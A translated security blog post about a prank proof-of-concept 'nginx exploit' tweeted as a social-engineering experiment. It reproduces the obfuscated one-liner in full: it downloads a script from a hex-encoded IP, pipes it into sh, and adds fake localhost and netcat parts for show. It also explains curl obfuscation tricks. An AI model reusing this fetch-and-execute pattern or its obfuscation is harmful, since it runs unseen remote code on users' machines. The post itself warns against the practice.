Het succes van het sociale experiment met een nep-exploit voor nginx

Opmerking vertaler.: Auteur van de originele notitie, gepubliceerd op 1 juni, besloot een experiment uit te voeren in de omgeving van geïnteresseerden in informatiebeveiliging. Daartoe bereidde hij een valse exploit voor een niet-geconfronteerde kwetsbaarheid in de webserver voor en plaatste deze op zijn Twitter. Zijn veronderstellingen — om onmiddellijk ontmaskerd te worden door specialisten die de duidelijke fraude in de code zouden zien — zijn niet alleen niet uitgekomen… Ze overtroffen alle verwachtingen, en dan in omgekeerde richting: de tweet kreeg enorme steun van talloze mensen die de inhoud niet controleerden.

TL;DR: gebruik absoluut geen bestandspijplijn in sh of bash. Dit is een geweldige manier om de controle over de computer te verliezen.

Ik wil een klein verhaal met je delen over een grap PoC-exploit die op 31 mei is gemaakt. Het verscheen snel als reactie op het nieuws van Alisa Esage Shevchenko, lid van Zero Day Initiative (ZDI), dat binnenkort informatie zal onthullen over een kwetsbaarheid in NGINX die leidt tot RCE (remote code execution). Aangezien NGINX de basis vormt voor veel websites, zou het nieuws een enorme impact moeten hebben. Maar door vertragingen in het proces van 'verantwoordelijk bekendmaken' waren de details van het voorval niet bekend — dat is de standaardprocedure van ZDI.

Tweet over de onthulling van de kwetsbaarheid in NGINX

Toen ik klaar was met het werken aan een nieuwe obfuscatietechniek in curl, citeerde ik de originele tweet en "lekte" een werkende PoC, bestaande uit één regel code die zogenaamd gebruikmaakte van de ontdekte kwetsbaarheid. Natuurlijk was het complete onzin. Ik dacht dat ik onmiddellijk ontmaskerd zou worden, en dat ik in het beste geval een paar retweets zou krijgen (en dat was dan wel goed).

Tweet met de valse exploit

Echter, ik kon me niet voorstellen wat er daarna gebeurde. De populariteit van mijn tweet steeg de lucht in. Verbazingwekkend, maar op dit moment (15:00 MSK 1 juni) heeft nog steeds weinig mensen door dat het een nep is. Velen retweeten het zonder enige controle (laat staan dat ze de prachtige ASCII-graphics bewonderen die het genereert).

Kijk eens hoe mooi!

Hoewel al deze lussen en kleuren geweldig zijn, is het duidelijk: om ze te zien, moesten mensen de code op hun eigen machine uitvoeren. Gelukkig werken browsers op dezelfde manier en gezien het feit dat ik geen problemen met de wet wil, deed de code verborgen in mijn website niets meer dan echo-oproepen, zonder te proberen enige aanvullende code te installeren of uit te voeren.

Een kleine digressie: netspooky, dnz, ik en de andere jongens van het team Thugcrowd spelen al een tijdje met verschillende manieren om curl-opdrachten te obfusceren, omdat het leuk is… en wij zijn nerds. Netspooky en dnz hebben verschillende nieuwe methoden ontdekt die me extreem veelbelovend leken. Ik deed mee met de lol en probeerde IP-decimale conversies aan de set trucs toe te voegen. Het bleek dat IP ook naar hexadecimale notatie kon worden geconverteerd. Bovendien 'verorberen' curl en de meeste andere NIX-tools met plezier hexadecimale IP's! Dus het enige dat nodig was, was het creëren van een overtuigende en veilig ogende opdrachtregel. Uiteindelijk kwam ik uit op deze:

curl -gsS https://127.0.0.1-OF-DE slachtoffer:443/../../..///nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Sociaal-elektronische techniek (S.E.E.) is meer dan alleen phishing

Beveiliging en vertrouwdheid waren een cruciaal onderdeel van dit experiment. Ik denk dat zij de reden voor het succes waren. De opdrachtregel suggereerde duidelijk veiligheid, verwijzend naar '127.0.0.1' (de welbekende localhost). Het wordt als veilig beschouwd, en de gegevens op localhost verlaten nooit je computer.

Vertrouwdheid was de tweede sleutelcomponent van het S.E.E.-experiment. Aangezien de doelgroep voornamelijk bestond uit mensen die de basisprincipes van computerbeveiliging kenden, was het belangrijk om de code zo te maken dat de delen vertrouwd en gebruikelijk leken (en daarom veilig). Het lenen van elementen uit oude exploitconcepten en ze op ongebruikelijke manieren samen te voegen bleek zeer succesvol.

Hieronder volgt een gedetailleerde analyse van de one-liner. Alles in deze lijst heeft een cosmetisch karakter, en voor de daadwerkelijke werking is er praktisch niets nodig.

Welke componenten zijn werkelijk noodzakelijk? Dit zijn -gsS, -O 0x0238f06a, |sh en de webserver zelf. De webserver bevatte geen kwaadaardige instructies, maar droeg eenvoudigweg ASCII-graphics over met behulp van commando's echo in het script dat zich bevindt in index.html. Wanneer de gebruiker een regel invoerde met |sh erin, index.html werd deze geladen en uitgevoerd. Gelukkig hadden de beheerders van de webserver geen slechte bedoelingen.

• ../../../%00 — toont een uitweg buiten de directory;
• ngx_stream_module.so — het pad naar een willekeurige NGINX-module;
• /bin/sh%00<'protocol:TCP' — we schijnen /bin/sh op de doelmachine te draaien en de output door te sturen naar een TCP-kanaal;
• -O 0x0238f06a#PLToffset — het geheime ingrediënt, aangevuld #PLToffset, om eruit te zien als een geheugenoffset, op een of andere manier aanwezig in de PLT;
• |sh; — nog een belangrijk fragment. We moesten de output omleiden naar sh/batch om de code uit te voeren die afkomstig was van de aanvallende webserver op het adres 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost — een nepprogramma waarin netcat verwijst naar /dev/tcp/localhost, zodat alles weer veilig lijkt. In werkelijkheid doet het eigenlijk niets en is het in de regel opgenomen voor de show.

Hier eindigt de ontcijfering van het één-regelig script en de bespreking van de aspecten van 'sociaal-elektronische engineering' (uitgebreide phishing).

Configuratie van de webserver en tegenmaatregelen

Omdat de overgrote meerderheid van mijn volgers infobeveiligingsspecialisten/hackers zijn, besloot ik de webserver iets veerkrachtiger te maken tegen uitingen van 'interesse' van hun kant, gewoon zodat de jongens iets te doen hadden (en het was ook leuk om het in te stellen). Ik ga hier niet alle valstrikken opsommen, aangezien het experiment nog steeds aan de gang is, maar hier zijn een paar dingen die de server doet:

• Volgt actief pogingen tot verspreiding op bepaalde sociale netwerken en plaatst verschillende miniaturen in de preview om gebruikers aan te moedigen op de link te klikken.
• leidt Chrome/Mozilla/Safari/etc. om naar een promofilmpje van Thugcrowd in plaats van de shellscript te tonen.
• houdt duidelijk toezicht op tekenen van inbraak/grofweg inbreken, waarna het begint verzoeken om te leiden naar NSA-servers (ha!).
• installeert een trojan en ook een BIOS rootkit op alle computers waarvan de gebruikers de host bezoeken met een gewone browser (grap!).

Een klein deel van de antitrog

In dit geval was mijn enige doel om enkele mogelijkheden van Apache te verkennen — in het bijzonder de coole regels voor verzoekomleidingen — en ik dacht: waarom niet?

NGINX-exploit (echt!)

Volg @alisaesage op Twitter en blijf op de hoogte van het geweldige werk van ZDI bij het verhelpen van echte kwetsbaarheden en exploitmogelijkheden in NGINX. Hun werk heeft me altijd geboeid en ik ben Alice dankbaar voor haar geduld met al mijn vermeldingen en notificaties die door mijn domme tweet zijn veroorzaakt. Gelukkig heeft het ook nut gehad: het heeft de bewustwording over NGINX-kwetsbaarheden vergroot, evenals de problemen die ontstaan door misbruik van curl.

Bron: habr.com